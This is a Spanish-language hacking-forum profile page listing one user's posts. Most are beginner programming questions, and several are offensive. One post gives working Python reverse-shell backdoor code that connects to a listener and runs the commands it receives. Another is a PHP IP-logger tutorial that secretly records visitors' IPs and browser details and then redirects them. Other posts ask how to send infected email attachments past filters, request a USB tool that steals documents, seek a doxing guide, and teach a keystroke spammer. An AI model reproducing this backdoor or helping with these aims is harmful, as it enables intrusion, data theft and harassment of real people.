Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - z0mb1es

#1
Tenía la duda de qué es lo que nuestra comunidad de *nix-based boys prefieren. Personalmente, me voy por Arch o por Gentoo por la gran libertad que tengo al instalar lo que quiero y solamente lo que quiero.

No puse Ubuntu bajo Debian, ya que sería redundante. Tampoco puse Manjaro, ya que de nuevo, sería redundante.

Saludos!
;D
#2
Hola camaradas, les vengo con un hilo pidiendo un poco de ayuda.

Ayer comencé con un curso de creación de backdoors desde cero usando Python y SOCKET como servidor y cliente. El servidor funciona de maravilla, pero tengo algunos problemas con el cliente.

Código: python
#!/usr/bin/python3
# _*_ coding: utf8 _*_

import socket
import subprocess
import os

def shell():
    current_dir = os.getcwd()
    client.send(current_dir)
    while True:
        res = client.recv(1024)
        if res == "exit":
            break
        else:
            proc = subprocess.Popen(res, shell = True, stdout = subprocess.PIPE,
                    stderr = subprocess.PIPE, stdin = subprocess.PIPE)
            result = proc.stdout.read() + proc.stderr.read()
            client.send(result)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(("192.168.1.93", 7777))
shell()
client.close()


Verán que estoy usando el socket AF_INET para establecer la conexión entre client-server. El código así, en teoría y respecto al curso que estoy viendo y leyendo, debería funcionar. Pero no. El error es al intentar establecer la conexión desde el cliente, el cuál da un error en la línea 23 (donde se ejecuta la función que crea la shell dentro del servidor) y dentro de la misma función en la línea 10 donde el objeto client() usa .send(current_dir) para enviar al servidor la conexión. Cuando cambio client.send(current_dir) a un print(current_dir) me muestra mi pwd (obviamente, ya que os.cwd es un 'p'rint'w'orking'd'irectory). Sin más dilaciones les muestro el error que me da Python:

Código: python
Traceback (most recent call last):
  File "client.py", line 25, in <module>
    shell()
  File "client.py", line 12, in shell
    client.send(current_dir)
TypeError: a bytes-like object is required, not 'str'


Y por si las dudas, también el código del servidor:

Código: python
#!/usr/bin/python3
#_*_ coding: utf8 _*_

import socket

def shell():
    current_dir = target.recv(1024)
    while True:
        command = input("{}/".format(current_dir))
        if command == "exit":
            target.send(command)
            break;
        else:
            target.send(command)
            res = target.recv(1024)
            print(res)

def aliveServer():
    global server
    global ip
    global target

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('192.168.1.93', 7777))
    server.listen(1)
    print("Listening in 192.168.1.106")
    target, ip = server.accept()
    print("Connection received in " + str(ip[0]))

aliveServer()
server.close()


También, estoy usando Arch Linux. Intenté hacer que el server-client funcionara entre una máquina Windows que tengo por aquí y mi Arch: no funcionó. Intenté hacerlo funcionar solamente dentro de mi máquina Windows: no funcionó. Pensé que quizás AF_INET no era el tipo de socket necesario para trabajar con máquinas *nix, por lo que intenté usar el socket AF_UNIX: resulta que este socket no crea conexiones entre máquinas, sino que entre aplicaciones dentro de máquinas o algo así, no entendí muy bien, pero el que necesito es AF_INET.

Por cierto:

Otra cosilla que puede ser un problema: el curso que estoy viendo y leyendo está escrito en Python 2.7, por lo cual he ido adaptándo el código a 3.8.5. Si el error es mío, por favor, díganme cual es para así solucionarlo.

Saludos.

[SOLUCIONADO]

tr0n por Discord me dijo que usara encode('utf8') dentro del command, y pues sirvió de maravilla.
#3
Hola amigos. Les vengo a dejar un pequeño código que creé hace unos días. La idea original era diseñar un algoritmo para hacer estas conversiones, pero la cabeza no me da para tanto :P. Quería compartir este código con ustedes porque en anteriores ocasiones me han ayudado a mejorarlo, me han dicho que cosas puedo cambiar para tener un código más optimizado, etcétera.

Aquí va:

Código: python
#!/usr/bin/python
import time
from os import system, name

def clear():
    if name == 'nt':
        _ = system('cls')
    else:
        _ = system('clear')

def bit2byte():
    x = int(input("Cuantos bits? "))
    y = x / 8
    print(str(y) + " es la cantidad de bytes en " + str(x) + " bits.")
    time.sleep(3)
    clear()
def kbyte2byte():
    x = int(input("Cuantos kilobytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de bytes en " + str(x) + " kilobytes.")
    time.sleep(3)
    clear()
def mbyte2kbyte():
    x = int(input("Cuantos megabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de kilobytes en " + str(x) + " megabytes.")
    time.sleep(3)
    clear()
def gbyte2mbyte():
    x = int(input("Cuantos gigabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de megabytes en " + str(x) + " gigabytes.")
    time.sleep(3)
    clear()
def tbyte2gbyte():
    x = int(input("Cuantos terabytes? "))
    y = x * 1024
    print(str(y) + " es la cantidad de gigabytes  en " + str(x) + " bits.")
    time.sleep(3)
    clear()

menu = """
[1] Convertir bits a bytes
[2] Convertir kilobytes a bytes
[3] Convertir megabytes a kilobytes
[4] Convertir gigabytes a megabytes
[5] Convertir terabytes a gigabytes
[6] Salir
"""

the = True
while the is  True:
    print(str(menu))
    opc = (input("Selecciona una opción: "))
    if opc == "1":
        bit2byte()
    elif opc == "2":
        kbyte2byte()
    elif opc == "3":
        mbyte2kbyte()
    elif opc == "4":
        gbyte2mbyte()
    elif opc == "5":
        tbyte2gbyte()
    elif opc == "6":
       
        print("\n\nHasta la próxima :)\n\n")
        break
        exit()   
    else:
        print("\nElije una opción valida.\n")
        time.sleep(0.4)
        clear()


Sé que está un poco desorganizado y planeo mejorarlo, claro está. Les muestro esto porque es digamos la versión alpha de este proyecto.

Saludos. ;D
#4
Hola gente, vengo a hacerles una consulta.

Estos últimos días he estado trabajando en comenzar a escribir mis propios programas, para luego migrar a un sistema operativo limpio como arch y utilizar los programas salidos de mi mano. Bueno, este es un proyecto a largo plazo ya que mi experiencia en programación es bastante poca. El asunto es el siguiente:

En este momento me encuentro desarrollando un editor de texto. He añadido las funciones básicas, como nuevo archivo, abrir archivo, etcétera. El tema es que estoy buscando una manera de poder cambiar la fuente de mi caja de texto desde una función que va de la mano con un add_command. El tema es que no tengo idea de como hacerlo. He buscado en Google formas de hacer esto, pero no he encontrado nada. Solo cambian labels y eso lo hacen dentro del mismo código. Quiero que yo, como posible único usuario de este editor de texto, poder cambiar la tipografía del texto desde una ventana de askfont. Dejaré el código relacionado al tema.

Los Imports

Código: python
from tkinter import *
from tkinter import filedialog as fd
from tkinter import colorchooser as cchooser
from tkinter import messagebox as msgbox
from sys import platform
from tkinter.font import Font
from tkfontchooser import askfont


La función que creé para cambiar la fuente.

Código: python
def elegir_fuente():
    global ruta
    global mi_fuente
    mi_fuente = askfont(title = 'Elige una fuente:')
    texto.config(askfont())


El código de la caja de texto.

Código: python
texto = Text(root)
texto.pack(fill='both', expand=1)
texto.config(padx=6, pady=4, bd=0)


He pensado en hacer una variable antes de la función, hacer que la función asigne la fuente a la variable y que la variable vaya dentro de texto.config(...). No funcionó.

Seguiré buscando formas de hacerlo, hasta entonces esperaré su ayuda mientras yo busco soluciones.

Saludos.
#5
Dudas y pedidos generales / Calculadora en C++
Febrero 07, 2019, 11:43:47 AM
Hola amigos de Underc0de. Esta vez, vengo con un proyecto bastante sencillo el cual me gustaría que me ayudaran a optimizar.

Estoy empezando en C++ (empecé hace relativamente 20 minutos), y me gustaría recibir algunos consejos de los ya conocedores de este lenguaje de programación.

Cuando aprendí a hacer programas donde mando un mensaje a la consola (cout<<) y recibir user input (cin>>), me puse la meta de hacer una calculadora.

Estuve alrededor de 10 minutos haciéndola, y me pareció un paseo por el parque sinceramente.
   
   
Código: cpp
#include <iostream>

using namespace std;

int main() {

int numero1;
int numero2;
char operacion;
char suma = '+';
char resta = '-';
char multi = '*';
char divi = '/';


cout<<"Digite un numero: ";
cin>>numero1;
cout<<"Digite otro numero: ";
cin>>numero2;
cout<<"Por ultimo, digite su operacion: ";
cin>>operacion;

if (operacion == suma) {
cout<<numero1 + numero2;
}
else if (operacion == resta) {
cout<<numero1 - numero2; }
else if (operacion == multi) {
cout<<numero1 * numero2; }
else if (operacion == divi) {
cout<<numero1 / numero2;
}


return 0;
}





Al principio tenía ciertos problemas con los estamentos IF, pero luego de leer un poco sobre ellos, los terminé entendiendo.

Tambien, si ven variables char con las operaciones aritméticas básicas, es porque no supe como hacer que el if pudiera compararse con chars.

AHORA ME ACABO DE DAR CUENTA DE QUE NO LOS PUSE EN COMILLAS SIMPLES, NI SIQUIERA EN COMILLAS DOBLES.

Lo acabo de probar y si funcionó.

Ahora si acabo de salvar bastante espacio en mi código, y este ya no se ve tan asqueroso como antes.

Código: cpp
#include <iostream>

using namespace std;

int main() {

int numero1;
int numero2;
char operacion;

cout<<"Digite un numero: ";
cin>>numero1;
cout<<"Digite otro numero: ";
cin>>numero2;
cout<<"Por ultimo, digite su operacion: ";
cin>>operacion;

if (operacion == '+') {
cout<<numero1 + numero2; }
else if (operacion == '-') {
cout<<numero1 - numero2; }
else if (operacion == '*') {
cout<<numero1 * numero2; }
else if (operacion == '/') {
cout<<numero1 / numero2; }


return 0;
}


Dejen sus consejos en las respuestas de esta publicación, me servirían bastante :)

saludos
:p
#6

hola, amigos de underc0de. venía a buscar ayuda.

quiero mandar un correo infectado pero en el archivo adjunto me muestra lo siguiente:

"Bloqueado por razones de seguridad"

os recuerdo que si vais a dar soluciones, que corran en linux ;)

Saludos.

:p
#7
Python / Creación de una Calculadora
Junio 17, 2018, 09:38:07 PM
ESTO NO ES UN TUTORIAL. ESTOY NARRANDO COMO ESCRIBO UNA CALCULADORA EN PYTHON. SI VIENES A APRENDER, SAL DE AQUÍ.

8:00PM

Con conocimientos terriblemente básicos de Python 2, me puse una pequeña meta:

¡CREAR UNA CALCULADORA!

Algo que para algunos programadores puede ser pan comido, a mi se me dificulta bastante.

Escribí las primeras líneas de código:
Código: python
# Primer intento de calculadora en Python.
# Necesitamos: raw_input, vars, defs, y una persona.

prompt = '> '

print "Hola! Bienvenido a la calculadora basica! \n"

print "Necesito que escribas dos numeros, y luego
num1 = raw_input(prompt)
num2 = raw_input(prompt)


Me dí cuenta de que era un jaleo hacerlo así, entonces borré todo y empecé de nuevo.

Código: python
def add(a, b):
return a + b
def sub(a, b):
return a - b
def mul(a, b):
return a * b
def div(a, b):
return a / b

prompt = '> '

print """Bienvenido a la calculadora basica.
Para usar esta calculadora, debes seleccionar dos numeros y al final elegir si quieres:
sumar (+), restar (-), multiplicar (*) o dividir (/)
"""

print "Ahora, debes seleccionar dos numeros."

a = raw_input(prompt)

print "Bien, el primer numero sera:", a

print "Y el segundo va a ser:"

b = raw_input(prompt)

print "Bien, el numero ", b


Había recordado uno de mis ejercicios anteriores, donde usaba operatoria de números entre def's y vars.

Pero ahora falta lo más importante:

¿COMO VAN A ELEGIR LAS OPERACIONES MATEMÁTICAS?

Bien, tendré que pensarlo un rato.

8:33PM

Creo que seguiré leyendo mi libro de Python, y cuando tenga algo, sigo con la calculadora.

saludos.

:p

#8
Off Topic / wh0ami?
Mayo 27, 2018, 12:13:22 PM


una película que no es surrealista con respecto al hacking. me gusta, y bastante.

#9
Hola amigos, tengo un pequeño problema. He estado intentando formatear varios discos para jugar en mi PS2, porque me conseguí un control  ;D

Pasa que me tira este error cuando intento formatear un disco: "El disco está protegido contra escritura."

Intenté formatearlo desde diskpart, y nada. Modifiqué los registros y el editor de directivas (gpedit) y sigue sin funcionar. ¿Que puedo hacer? Mi sistema operativo es Windows 10. Gracias de antemano.

Saludos.

:p
#10
Hola, amigos de underc0de. Vengo a pedirles ayuda.

Necesito saber como encontrar una timestamp en un archivo .data. Esto para completar un CTF.

El archivo tiene apróximadamente 14.500 líneas. En su gran mayoría, son @ y letras al azar. incluyendo caracteres japoneses. Tengo que encontrar un dia, mes, año, hora y minuto. Algo así: 01/09/2012 19:50

Espero que alguien me ayude, me encuentro en Linux en este momento.

De antemano, gracias.

Saludos.

:p
#11
Off Topic / [GUIA] Como desaparecer.
Abril 22, 2018, 06:24:11 PM

Puede que estés aquí porque la policía de tu país te busca, porque hiciste un par de DDoS's con el HOIC que no debiste haber hecho.

O puede que estés aquí por curiosidad. Porque como a mi, te da miedo desaparecer.

¿Que entendemos por desaparecer?

Le he preguntado a varias personas: ¿que es desaparecer?
Es escapar de todo y todos; esconderse; quita cabrón estoy con mi novia que no ves; usar un VPN; usar la capa de Harry Potter; entre otras divertidas respuestas que me dieron, la que más me sorprendió fue esta:

Desaparecer es dejar de existir o aparecer en un lugar.

Pero...

¿Que entiendo yo por desaparecer?

Para mi: desaparecer es correr con miedo de algo, lo que sea. Quemar tu PC, romper tu router y cambiarte de casa (o país, venga que me da igual). Dejar a la gente atrás: desde malos amigos, hasta buenos enemigos. Quizás, rendirse ante lo que esté sucediendo. Quizás la paranoia te controla, y borraste todos tus correos, redes sociales, perfiles en foros, y tu nombre ya no existe. Pasaste de ser Sp3cialK a ser un don nadie.

Desaparecer es miedo a la confrontación, a perder el anonimato. Tal como hizo nuestro amigo 4n0n1m4t0, hace ya algunos meses. Pero uno muchas veces no desaparece por que sí. Lo hace porque, quizás, y solo quizás, tu familia se vea afectada por lo que hiciste, o ayudaste a hacer. Porque puede que le hagan daño a tu novia, porque tienes miedo de perder a tus seres queridos.

Con esta pequeña introducción, empezamos esta pequeña guía.

Como desaparecer.

Empecemos por lo básico. Borrar cuentas: aquí un listado de las redes sociales que posiblemente uses:
-Instagram
-Facebook
-Twitter
-YouTube
-PornHub (no es joda)
-Tumblr
-Pinterest
-LinkedIn
-Flickr
-StumbleUpon
-MySpace (me reí con esta)
-Skype
-PayPal
-eBay, Amazon, etc.
-Craiglist
-Gmail, Hotmail, Outlook, etc.
-Steam, y cualquier otra red social de videojuegos.
-Perfiles en foros como Underc0de, HxC, elhacker, etc.

Esta red social llamada "Inserte nombre genérico" no me permite borrar mi cuenta, ¿que hago?

Cámbiale el nombre, correo, fecha de nacimiento, todo. Que nada se relacione contigo.

Revisar paginas amarillas o blancas
Busca paginas blancas o amarillas de tu país y busca tu nombre. Si te encuentras, contacta con la pagina, y pide que te saquen de la pagina.

Busca tu numero de teléfono (por si tienes uno) en una pagina de compañía de teléfonos, valga la redundancia. Si te encuentras, pide que te borren. Se cortés siempre que pidas que te borren, que no te agobie la ira, miedo, desesperación, etc.

Borra las cookies, formatea tu pc, cambiate a Linux.

Y como siempre digo: es mejor vivir con internet lenta, a que con tu información privada caiga rápido a las manos de un doxer.

Eso es todo, amigos míos. Espero sirva de algo.

Saludos.

:p
#12
Dudas y pedidos generales / Pedido Dumper USB
Abril 21, 2018, 02:33:45 PM
Hola amigos, no sé si alguien en la comunidad tenga algún programa que sirva para extraer información del pc al que se conecte el pendrive; por ejemplo robar todos los documentos, o algo así. Si tienen algo o conocimiento sobre algún programa que funcione así, me ayudarían bastante.

Gracias de antemano.

:p
#13
Visual Basic / Creación de un Spammer.
Abril 01, 2018, 08:06:04 PM
¿Que necesitamos para hacer un Spamner sencillo en VB?

-2 Botones
-1 Textbox
-1 Timer

Con todo eso en el formulario, comencemos.

Ponemos los dos botones. Uno será para iniciar el spam y otro para pararlo. El textbox será para elegir que palabras queremos spamear.

El código de los botones sería para activar y desactivar el Timer.
Debería quedarles algo así:
Código: php
Public Class Form1
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Timer1.Enabled = True
    End Sub
    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Timer1.Enabled = False
    End Sub
End Class


Ahora al código del timer.

Lo único que debemos hacer es hacer que envíe el texto dentro de nuestro TextBox.

Quedaría así:

Código: php
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        SendKeys.Send(TextBox1.Text)
        SendKeys.Send("{Enter}")
    End Sub
End Class


El código final sería así:


Y pues el formulario quedaría así:



Cualquier duda me preguntan por el post.

Saludos

:p
#14
Hacking / Crear IP Logger Sencillo [PHP] [Win]
Abril 01, 2018, 04:23:49 PM
Buenas! Hoy les enseñaré como crear un IP Logger en Windows que registrará la IP, User Agent, fecha y hora. Necesitaremos:

-XAMPP
-DMZ (o puertos abiertos)
-No-Ip (la DUC)

Con eso ya en nuestro pc, procedemos a ir a la siguiente dirección:
"C:\xampp\htdocs". En esa carpeta crearemos un archivo llamado "index.php". Lo abriremos con nuestro editor de texto favorito. Os recomiendo Notepad++. Pasaremos a escribir el siguiente código:
Código: php
<?php
   $logs = "IPs.txt";
   $fh = fopen($logs, 'a');
   $stringData = "IP: " . $_SERVER["REMOTE_ADDR"] . "\nUser Agent: " . $_SERVER["HTTP_USER_AGENT"] . "\nFecha: " . date("D dS M,Y h:i a") . "\n\n\n";


   fwrite($fh, $stringData);
   fclose($fh);

   if (isset($_GET['q'])){
      $page = $_GET['q'];
      header('Location: ' . $page);
   } else {
       $page='https://www.google.com';
       header('Location: ' . $page);
   }
?>


Lo guardamos, y lo cerramos. En la misma dirección, haremos un archivo llamado "IPs.txt". Ahora tenemos que abrir el XAMPP y iniciar los servicios de Apache y MySQL. Ahora procedemos a probarlo.

Cuando pongamos nuestra dirección IP o la url de nuestro host, nos debería llevar a Google. Todo bien hasta ahí. Ahora si abrimos el archivo "IPs.txt" (con Notepad++) nos aparecerá nuestra dirección IP, nuestro navegador web y la fecha y la hora.
Eso es todo. Pueden cambiar la línea número 14:
Código: php
$page='https://www.google.com';

con cualquier url que deseen.

Saludos.

:p
#15
Hola chicos, quería que me ayudaran a hacer este código. Pasa que este IP Logger está muy desordenado, y quiero que me dé la información por lineas. Tipo:
IP: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
User Agent: ?????
Fecha: XX/XX/XXXX
Listo!

Como no tengo conocimientos en PHP, vengo a pedirles su ayuda. El código original es este:
Código: php
<?php
   $logs = "IPs.txt";
   $fh = fopen($logs, 'a');
   $stringData = "IP: " . $_SERVER["HTTP_X_FORWARDED_FOR"] . "\nUser Agent: " . $_SERVER["HTTP_USER_AGENT"] . "\nFecha: " . date("D dS M,Y h:i a") . "\n\n\n";
   fwrite($fh, $stringData);
   fclose($fh);

   if (isset($_GET['q'])){
      $page = $_GET['q'];
      header('Location: ' . $page);
   } else {
       $page='https://www.google.com';
       header('Location: ' . $page);
   }
?>


Y lo cambié así:
Código: php
 <?php
   $logs = "IPs.txt";
   $fh = fopen($logs, 'a');
   $stringData = "IP: " . $_SERVER["HTTP_X_FORWARDED_FOR"] .
   $stringData1 = "User Agent: " . $_SERVER["HTTP_USER_AGENT"] .
   $stringData2 = "Fecha: " . date("D ds M, Y h:i a") .
   $stringData3 = "Listo!"
   fwrite($fh, $stringData, $stringData1, $stringData2, $stringData3);
   fclose($fh);

   if (isset($_GET['q'])){
      $page = $_GET['q'];
      header('Location: ' . $page);
   } else {
       $page='https://www.google.com';
       header('Location: ' . $page);
   }
?>


Si alguien me pudiera dar el código escrito correctamente se lo agradecería un montonazo. Gracias de antemano.

Saludos!

:p


#16
Hola chicos, quería saber si tienen alguna que otra guía para aprender a doxear personas, o si alguien es tan amable de enseñarme. Gracias de antemano.

Saludos.

:p
#17
Presentaciones y cumpleaños / Saludos.
Marzo 31, 2018, 04:02:55 PM
Buenos días/tardes/noches a todos. Me presento. Me llamo z0mb1es y soy un iniciado en el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y conocimientos básicos en Python. Vengo a compartir conocimientos con todos ustedes, y ustedes conmigo. Ojalá mantener buenos lazos entre nosotros.

Saludos.

:p